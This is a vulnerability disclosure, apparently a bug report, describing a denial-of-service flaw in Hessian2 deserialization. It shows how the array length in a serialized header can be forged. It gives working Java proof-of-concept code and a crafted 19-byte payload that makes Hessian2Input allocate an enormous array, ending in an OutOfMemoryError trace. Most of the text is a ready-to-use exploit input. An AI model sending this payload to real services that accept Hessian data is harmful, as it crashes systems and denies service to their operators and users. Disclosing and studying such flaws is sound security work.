

Hessian2 Have Denial of Service Vulnerability

Especially for denial of service of hessian2 protocol

In previous reports, large arrays need to be constructed locally to implement OOM

In fact, you don't need this way. You can edit binary directly

Firstly, the data of two examples are given

```
Object[] data = new Object[1000];
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.startMessage();
output.writeObject(data);
output.completeMessage();
output.close();
os.close();
byte[] bytes = os.toByteArray();
```

then

```
Object[] data = new Object[1001];
// same code
```

Compare the byte array: E8 and E9

```
70 02 00 56 07 5B 6F 62 6A 65 63 74 CB E8 4E 4E (mang 4E)...
70 02 00 56 07 5B 6F 62 6A 65 63 74 CB E9 4E 4E (mang 4E)...
```

It can be found that the length is contained in the binary data of the header

Try using binary data in the wrong format

```
Object[] data = new Object[1000];
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.startMessage();
output.writeObject(data);
output.completeMessage();
output.close();
os.close();
byte[] bytes = os.toByteArray();
// only use header data
```

```
byte[] newBytes = new byte[20];
System.arraycopy(bytes, 0, newBytes, 0, 20);

ByteArrayInputStream is = new ByteArrayInputStream(newBytes);
Hessian2Input in = new Hessian2Input(is);
in.startMessage();
in.readObject();
in.completeMessage();
in.close();
```

com/caucho/hessian/io/BasicDeserializer#readLengthList

```
case OBJECT_ARRAY: {
    // debug find length is 1000
    Object[] data = new Object[length];
    in.addRef(data);

    for (int i = 0; i < data.length; i++)
        data[i] = in.readObject();

    return data;
}
```

What does the above series of operations explain?

Note that the length of the array can be controlled by a small data packet

Similarly, I try to get the header information of the super large array

```
70 02 00 56 07 5B 6F 62 6A 65 63 74 49 77 35 94 00 4E 4E 4E
```

```
39 // System.out.println(bytesToHex(newBytes));
40
41 byte[] data = new byte[]{
42     (byte) 0x70, (byte) 0x02, (byte) 0x00, (byte) 0x56, (byte) 0x07,
43     (byte) 0x5b, (byte) 0x6f, (byte) 0x62, (byte) 0x6a, (byte) 0x65,
44     (byte) 0x63, (byte) 0x74, (byte) 0x49, (byte) 0x77, (byte) 0x35,
45     (byte) 0x94, (byte) 0x00, (byte) 0x4e, (byte) 0x4e
46 };
47
48 ByteArrayInputStream is = new ByteArrayInputStream(data);
49 Hessian2Input in = new Hessian2Input(is);
50 in.startMessage();
51 in.readObject();
52 in.completeMessage();
53 in.close();
54 }
55 }
```

\java.exe" ...

OutOfMemoryError: Create breakpoint : Java heap space

o.BasicDeserializer.readLengthList(BasicDeserializer.java:597)

o.AbstractDeserializer.readLengthList(AbstractDeserializer.java:98)

o.Hessian2Input.readObject(Hessian2Input.java:2669)

o.Hessian2Input.readObject(Hessian2Input.java:2308)

.java:51)

I succeeded in implementing a denial of service vulnerability through a small amount of serialized data